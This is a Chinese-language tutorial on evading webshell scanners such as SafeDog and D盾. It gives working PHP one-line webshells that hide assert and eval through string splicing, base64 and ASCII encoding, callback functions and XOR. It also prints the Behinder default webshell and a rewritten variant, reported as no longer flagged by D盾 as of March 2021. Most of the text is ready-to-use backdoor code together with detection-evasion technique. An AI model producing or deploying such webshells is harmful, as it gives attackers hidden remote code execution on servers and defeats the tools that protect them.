免杀思路

目前一句话webshell的查杀一般是通过特征查杀的,捕捉其结构中关键的两步,当检查到传入的参数被放在危险的命令执行方法中执行时,就会报后门。

所以需要分析这些查杀软件对哪些关键语句敏感,可以通过二分法寻找各个敏感的位置,然后通过其他方式重写这段会被检出的关键字或关键语句,就可初步达到免杀效果。

php5通常通过回调函数,编码拼接替换异或生成assert等方式实现免杀

php7常用PHP免杀 - 图1y)模式,PHP免杀 - 图2y为参数。通过多层构造拼接,替换,移位,异或编码等方式去除特征,构造PHP免杀 - 图3y。

字符串变形

安全狗、D盾等查杀webshell时对执行命令的方法是最着重关注的,应对这种情况比较好用的免杀方式是在代码中不出现eval或assert等关键字

由于eval是语言构造器而不是函数,所以不能被可变函数调用,一般会通过拼接assert来执行

  1. #php5
  2. <?php
  3. $a="a";
  4. $b="sse";
  5. $c="00";
  6. $d= substr_replace($a.$b.$c,"rt",4);
  7. $d($_POST['a'];
  8. ?>

其余的字符串变形方式有:

  1. ucwords() //函数把字符串中每个单词的首字符转换为大写。
  2. ucfirst() //函数把字符串中的首字符转换为大写。
  3. trim() //函数从字符串的两端删除空白字符和其他预定义字符。
  4. substr_replace() //函数把字符串的一部分替换为另一个字符串
  5. substr() //函数返回字符串的一部分。
  6. strtr() //函数转换字符串中特定的字符。
  7. strtoupper() //函数把字符串转换为大写。
  8. strtolower() //函数把字符串转换为小写。
  9. strtok() //函数把字符串分割为更小的字符串
  10. str_rot13() //函数对字符串执行 ROT13 编码。

但由于assert在php7.1之后无法这样使用,所以此类免杀方式基本仅能在php5环境下使用

编码绕过

编码也是一种替换敏感字段的方式,一般用到base64、ascii等各种方式

如ascii:

  1. #php5
  2. <?php
  3. $a = chr(98-1).chr(116-1).chr(116-1).chr(103-2).chr(112+2).chr(110+6);#assert
  4. $a($_POST['a'];
  5. ?>

如base64:

  1. #php5
  2. <?php
  3. $a = base64_decode("YX__Nz_ZX____J0");
  4. $a($_POST[x]);
  5. ?>

其中php中base64函数不会对下划线做处理,可以任意位置添加下划线干扰。

但如上两种仍然是assert方式,仅能用于php5。

目前php7中可以直接将eval函数放出来,将输入函数进行编码,虽然D盾等看到eval就会报告低级别的可疑但是仍然能使用,且网站安全狗不会阻碍执行。

  1. #php5/php7
  2. <?php
  3. $_1 = base64_decode("X1B____PU1_____Q=___");
  4. $_2=${$_1}[a];
  5. eval($_2);
  6. ?>

回调函数

php5常用回调函数结合各种方式隐藏assert来执行命令

assert同样可使用各种字符处理方式,拼接,替换,移位,异或等方式去除特征

回调函数可用以下的列表

  1. call_user_func_array()
  2. call_user_func()
  3. array_filter()
  4. array_walk() array_map()
  5. registregister_shutdown_function()
  6. register_tick_function()
  7. filter_var()
  8. filter_var_array()
  9. uasort()
  10. uksort()
  11. array_reduce()
  12. array_walk()
  13. array_walk_recursive()

如array_map:

  1. <?php
  2. function username()
  3. {
  4. $a = chr(98-1).chr(116-1).chr(116-1).chr(103-2).chr(112+2).chr(110+6);#assert
  5. return ''.$a;
  6. }
  7. $user = username();
  8. $pass =array($_GET['password']);
  9. array_map($user,$user = $pass );
  10. ?>

如call_user_func_array:

  1. <?php
  2. $a = chr(98-1).chr(116-1).chr(116-1).chr(103-2).chr(112+2).chr(110+6);
  3. call_user_func_array($a, array($_GET['a']));
  4. ?>

此类方法仅适用php5,目前较有效,D盾可能会对回调函数报低级别可疑

异或等无字符特征

由于每一个字符都可由多组不同的两个字符异或而来,所以可以生成多个特征完全不同的木马。

  1. <?php
  2. $_1='_'.(hex2bin("10")^"@").(hex2bin("0F")^"@").(hex2bin("13")^"@").(hex2bin("14")^"@");
  3. $_2=${$_1}[a];
  4. eval($_2);
  5. ?>

冰蝎改造

冰蝎的动态二进制加密webshell是非常好的思路,冰蝎客户端自带的其他功能也较好用,有较多的安全从业者在使用,所以其自带的默认马已经完全无法免杀了。

不过由于大部分安全软件对其检测方式都是取默认马中的几段特征,用二分法很容易找到特征所在位置,只要将其特征位置替换为相同功能的语句即可免杀。

冰蝎默认马

  1. <?php
  2. @error_reporting(0);
  3. session_start();
  4. $key="e45e329feb5d925b"; //该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond
  5. $_SESSION['k']=$key;
  6. $post=file_get_contents("php://input");
  7. if(!extension_loaded('openssl'))
  8. {
  9. $t="base64_"."decode";
  10. $post=$t($post."");
  11. for($i=0;$i<strlen($post);$i++) {
  12. $post[$i] = $post[$i]^$key[$i+1&15];
  13. }
  14. }
  15. else
  16. {
  17. $post=openssl_decrypt($post, "AES128", $key);
  18. }
  19. $arr=explode('|',$post);
  20. $func=$arr[0];
  21. $params=$arr[1];
  22. class C{public function __invoke($p) {eval($p."");}}
  23. @call_user_func(new C(),$params);
  24. ?>

直接使用D盾扫描该文件,报五级可疑,已知后门,通过多次二分法发现

目前D盾识别冰蝎用到的特征是以下三处

  1. 特征一
  2. $post=file_get_contents("php://input");
  3. 特征二
  4. $post[$i] = $post[$i]^$key[$i+1&15];
  5. 特征三
  6. class C{public function __invoke($p) {eval($p."");}}
  7. @call_user_func(new C(),$params);

分别去除发现第三处是最严格的特征,将第三处重写为

  1. class C{public function __construct($p) {eval($p."");}}
  2. @new C($params);

我们可以通过多种之前提到的字符串处理方法处理这种类型的特征,此处我使用逆序函数处理

  1. 1.
  2. $post=file_get_contents("php://input");
  3. 修改为
  4. $post=(strrev("stnetnoc_teg_elif"))(strrev("tupni//:php"));
  5. 2.
  6. if(!extension_loaded('openssl'))
  7. 修改为
  8. if(!extension_loaded(strrev('lssnepo')))
  9. 3.
  10. $t="base64_"."decode";
  11. 修改为
  12. $t=strrev("edoced_46esab");
  13. Copy

此时没了这些特征关键字,D盾只能识别为二级可疑了

PHP免杀 - 图4

然后处理第三处特征

  1. $post[$i] = $post[$i]^$key[$i+1&15];
  2. Copy

将其拆开增加一个变量赋值过程,并将后面的15提前定义为变量,最后将异或的两个参数逆序,最终得到如下webshell

  1. <?php
  2. @error_reporting(0);
  3. session_start();
  4. $kkk="e45e329feb5d925b";
  5. $_SESSION['k']=$kkk;
  6. $post=(strrev("stnetnoc_teg_elif"))(strrev("tupni//:php"));
  7. $num=15;
  8. if(!extension_loaded(strrev('lssnepo')))
  9. {
  10. $t=strrev("edoced_46esab");
  11. $post=$t($post."");
  12. for($i=0;$i<strlen($post);$i++) {
  13. $temp= $kkk[$i+1&$num]^$post[$i];
  14. $post[$i] =$temp;
  15. }
  16. }
  17. else
  18. {
  19. $post=openssl_decrypt($post, "AES128", $kkk);
  20. }
  21. $arr=explode('|',$post);
  22. $func=$arr[0];
  23. $params=$arr[1];
  24. class C{public function __construct($p) {eval($p."");}}
  25. @new C($params);
  26. ?>
  27. Copy

此时D盾已经无法检测(2021年3月)

最新D盾仍然可以报其二级可疑(2021年5月)

参考

http://uuzdaisuki.com/2021/05/11/webshell免杀研究php篇/#定义函数

https://xz.aliyun.com/t/8684

https://www.sqlsec.com/2020/07/shell.html